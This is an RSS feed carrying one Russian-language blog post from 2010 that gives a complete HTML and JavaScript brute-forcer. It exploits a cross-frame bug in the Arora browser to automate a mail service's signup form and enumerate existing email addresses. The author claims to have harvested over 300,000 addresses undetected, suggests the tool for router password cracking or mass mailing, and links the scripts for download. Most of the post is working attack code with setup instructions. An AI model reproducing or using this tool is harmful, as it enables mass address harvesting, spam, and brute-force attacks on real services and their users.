<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; arora</title>
	<atom:link href="http://blog.lukmus.ru/tag/arora/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>экстравагантный способ перебора</title>
		<link>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 23:20:07 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[arora]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[frame]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[брутфорс]]></category>
		<category><![CDATA[сбор адресов]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=19</guid>
		<description><![CDATA[Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность. Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи. Способ заключается в следующем: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, [...]]]></description>
			<content:encoded><![CDATA[<p>Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность.<br />
Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи.</p>
<p><strong>Способ заключается в следующем</strong>: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика.</p>
<p><strong>Принцип действия</strong>: страница, с javascript&#8217;ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора.</p>
<p><span id="more-19"></span></p>
<p>Для реализации всего выше указанного, нам необходимо немного соображать в javascript&#8217;е, html&#8217;е и самое сложное &#8211; найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы &#8211; ресурсы разных узлов.</p>
<p>Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям:<br />
Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2<br />
Linux: FF 3.5, Opera 10, Epiphany 2.26.3.<br />
Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH).</p>
<p>Скачать его можно <a title="Arora" href="http://code.google.com/p/arora/" target="_blank">здесь</a>.</p>
<p>Не знаю существует ли он под Windows и есть ли в нем этот баг.</p>
<p>Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство:<br />
на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет.<br />
Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем.</p>
<p><span style="color: #800000;">!!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши</span></p>
<p>После того как установили браузер, необходимо написать сами страницы.</p>
<p><strong>Первая, главная страница с разметкой на фреймы:</strong></p>
<blockquote><p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;/\/\аi|.ру checker all domains&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;frameset rows=25%,75%&gt;<br />
&lt;frame name=&#8217;up&#8217; src=&#8217;2.html&#8217;&gt;<br />
&lt;frame name=&#8217;mid&#8217; src=&#8217;http:\\win./\/\аi|.ру\cgi-bin\signup&#8217; &gt;<br />
&lt;/frameset&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>Вторая страница 2.html, так называемый интерфейс брутфорса</strong> (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы):</p>
<blockquote><p>&lt;script type=&#8221;text/javascript&#8221; src=&#8221;latvia.js&#8221;&gt;&lt;/script&gt;<br />
&lt;html&gt;<br />
&lt;body &gt;<br />
&lt;form name=&#8217;cmd&#8217; &gt;<br />
&lt;table style=text-allign:center;font-size:70%;vertical-align:middle; &gt;<br />
&lt;td&gt;addresses:&lt;br&gt;&lt;textarea name=&#8217;alladress&#8217; readOnly=&#8217;true&#8217; cols=20 rows=10&gt;&lt;/textarea&gt; &lt;/td&gt;</p>
<p>&lt;td&gt;full number&lt;br&gt;<br />
&lt;textarea name=&#8217;nomer&#8217; cols=13 rows=1&gt;0&lt;/textarea&gt;&lt;br&gt;</p>
<p>&lt;textarea name=&#8217;fakt_no&#8217; readOnly=&#8217;true&#8217; cols=3 rows=1&gt;0&lt;/textarea&gt;^&lt;textarea name=&#8217;quantity&#8217; cols=5 rows=1&gt;1500&lt;/textarea&gt;&lt;br&gt;<br />
exist address count&lt;br&gt;<br />
&lt;textarea name=&#8217;ex_count&#8217; readOnly=&#8217;true&#8217; cols=3 rows=1&gt;0&lt;/textarea&gt;&lt;br&gt;<br />
&lt;input type=&#8217;button&#8217; name=&#8217;start_bt&#8217; value=&#8217;start&#8217; onClick=&#8217;zamena()&#8217; &gt;<br />
&lt;input type=&#8217;button&#8217; name=&#8217;update_bt&#8217; value=&#8217;update&#8217; onClick=&#8217;update_fr()&#8217; &gt;<br />
&lt;/td&gt;</p>
<p>&lt;td&gt;words:&lt;br&gt;&lt;textarea name=&#8217;words&#8217; cols=20 rows=8&gt;&lt;/textarea&gt;&lt;br&gt;<br />
dictionary/successively(0/1)&lt;br&gt;<br />
&lt;textarea name=&#8217;dicsuc&#8217; cols=13 rows=1&gt;0&lt;/textarea&gt;</p>
<p>&lt;/td&gt;</p>
<p>&lt;/table&gt;</p>
<p>&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>А теперь сам движок брутфорса</strong>, файл с явакодом(latvia.js):</p>
<blockquote><p>var i=0;<br />
var osnwait=1000;<br />
var loawait=500;<br />
var load_attemp=0;<br />
var max_att=500;<br />
var ex_count=0;<br />
var flag=0;</p>
<p>var dom = new Array();<br />
dom[0]=&#8217;@/\/\аi|.ру&#8217;;<br />
dom[1]=&#8217;@ЬК.ru&#8217;;<br />
dom[2]=&#8217;@inЬ0х.ru&#8217;;<br />
dom[3]=&#8217;@|i$t.ru&#8217;;<br />
var n_dom=0;</p>
<p>function next(dig,variant) //возвращает следующее слово<br />
{if (variant==0){<br />
word_ar=parent.up.document.cmd.words.value.split(&#8216;  \n&#8217;);<br />
return word_ar[dig];} else{<br />
return dig.toString(36);}<br />
}</p>
<p>function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк)<br />
{<br />
if (flag==1){<br />
if (parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex&lt;3)<br />
{parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex++;<br />
}else{<br />
parent.mid.document.uinfo.RegistrationDomain.selec  tedIndex=0;<br />
parent.up.document.cmd.nomer.value=parseInt(parent  .up.document.cmd.nomer.value)+1;<br />
i++;<br />
parent.up.document.cmd.fakt_no.value=i;<br />
}}<br />
n_dom=parent.mid.document.uinfo.RegistrationDomain  .selectedIndex;<br />
if (flag==0){<br />
parent.mid.document.getElementById(&#8216;userNameInput&#8217;  ).value=&#8217;^!@#$%&amp;*&#8217;;<br />
setTimeout(&#8220;zamena()&#8221;,loawait);<br />
flag=1;<br />
} else<br />
{parent.mid.document.getElementById(&#8216;userNameInput  &#8216;).value=next(parseInt(parent.up.document.cmd.nome  r.value),parseInt(parent.up.document.cmd.dicsuc.va  lue));<br />
load_attemp=0;<br />
if(i&lt;=parseInt(parent.up.document.cmd.quantity.value))s  etTimeout(&#8220;zamena()&#8221;,osnwait);<br />
flag=0;<br />
}<br />
}</p>
<p>function update_fr() //обновляет страницу с формой<br />
{parent.mid.location=&#8221;http://win./\/\аi|.ру\cgi-bin\signup&#8221;;<br />
load_attemp=0;<br />
}</p>
<p>function zamena() //проверяет результаты выданные сайтом<br />
{<br />
//Еще проверяет<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==43){<br />
setTimeout(&#8220;zamena()&#8221;,loawait);<br />
load_attemp++;<br />
if(load_attemp&gt;max_att)    {<br />
update_fr();<br />
setTimeout(&#8220;zamena()&#8221;,osnwait*25);<br />
}<br />
}</p>
<p>//Сессия устарела<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==67){<br />
update_fr();<br />
setTimeout(&#8220;zamena()&#8221;,osnwait*25);}<br />
//Мыло существует<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==143){<br />
//alert(&#8220;exist&#8221;);<br />
parent.up.document.cmd.alladress.value=parent.up.d  ocument.cmd.alladress.value+parent.mid.document.ge  tElementById(&#8216;userNameInput&#8217;).value+dom[n_dom]+&#8217;\n&#8217;;</p>
<p>ex_count++;<br />
parent.up.document.cmd.ex_count.value=ex_count;<br />
oknext();<br />
}<br />
//Логин свободен т.е. мыло не существует<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==56)oknext();<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=56 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=43 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=143 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=67)oknext();<br />
}</p></blockquote>
<p><strong>Вопросы по коду:</strong><br />
<strong>?</strong>:зачем между сменами доменов вставлять ^!@#$%&amp;* ?<br />
<strong>0</strong>: иначе страница не видит что потенциальный логин был изменен, точнее его домен<br />
<strong>?</strong>:как реализована задержка между вводами ?<br />
<strong>0</strong>:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep()<br />
<strong>?</strong>:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд)<br />
<strong>0</strong>:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки &#8216;идет проверка&#8217; длина = 43</p>
<p>Остальное непонятное станет ясно дальше.</p>
<p><strong>Запуск и настройка:</strong><br />
Открываем в браузере первую страницу и видим примерно следующее:</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/Снимок-mail.ru-checker-all-domains-Arora.png"><img src="http://blog.lukmus.ru/wp-content/uploads/2010/06/Снимок-mail.ru-checker-all-domains-Arora.png" alt="Скриншот JS-Arora брутфорса" width="527" height="529" /></a></p>
<p><strong>Пару слов перед настройкой:</strong><br />
этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле &#8216;words&#8217;.</p>
<ul>
<li><em>Поле &#8216;addresses&#8217;</em> &#8211; здесь будут содержаться существующие адреса т.е. наши успешные попытки</li>
</ul>
<ul>
<li><em>Поле &#8216;full number&#8217;</em> &#8211; в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре.</li>
</ul>
<ul>
<li><em>Поле ниже &#8216;full number&#8217;</em>- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать</li>
</ul>
<ul>
<li><em>Поле &#8216;exist address count&#8217;</em> &#8211; здесь отображаеться количество набранных адресов</li>
</ul>
<ul>
<li><em>Поле &#8216;dictionary/successively(0/1)&#8217;</em> &#8211; выбор варианта перебора 0 &#8211; по словарю, 1 &#8211; все подряд</li>
</ul>
<ul>
<li><em>Поле &#8216;words&#8217;</em> &#8211; наш словарь</li>
</ul>
<ul>
<li><em>Кнопка &#8216;start&#8217;</em> &#8211; запускает перебор</li>
</ul>
<ul>
<li> <em>Кнопка &#8216;update&#8217;</em> &#8211; обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо )</li>
</ul>
<p><strong>Настройка на перебор всего подряд </strong><br />
начинаем с 1000000 комбинации (full number = 0)<br />
перебор всех комбинаций (dictionary/successively(0/1)=1)<br />
количество = 5000</p>
<p><strong>Настройка на перебор по словарю</strong><br />
начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2)<br />
перебор по словарю (dictionary/successively(0/1)=0)<br />
количество = 10000</p>
<p><strong>Итоги:</strong><br />
Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен.<br />
Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось.<br />
Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок &#8211; сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок .<br />
Скачать все эти скрипты можно <a href="http://sharingmatrix.com/file/9980515/mail.ru_-_JS-Arora-brute.tar" target="_blank">здесь</a>.</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
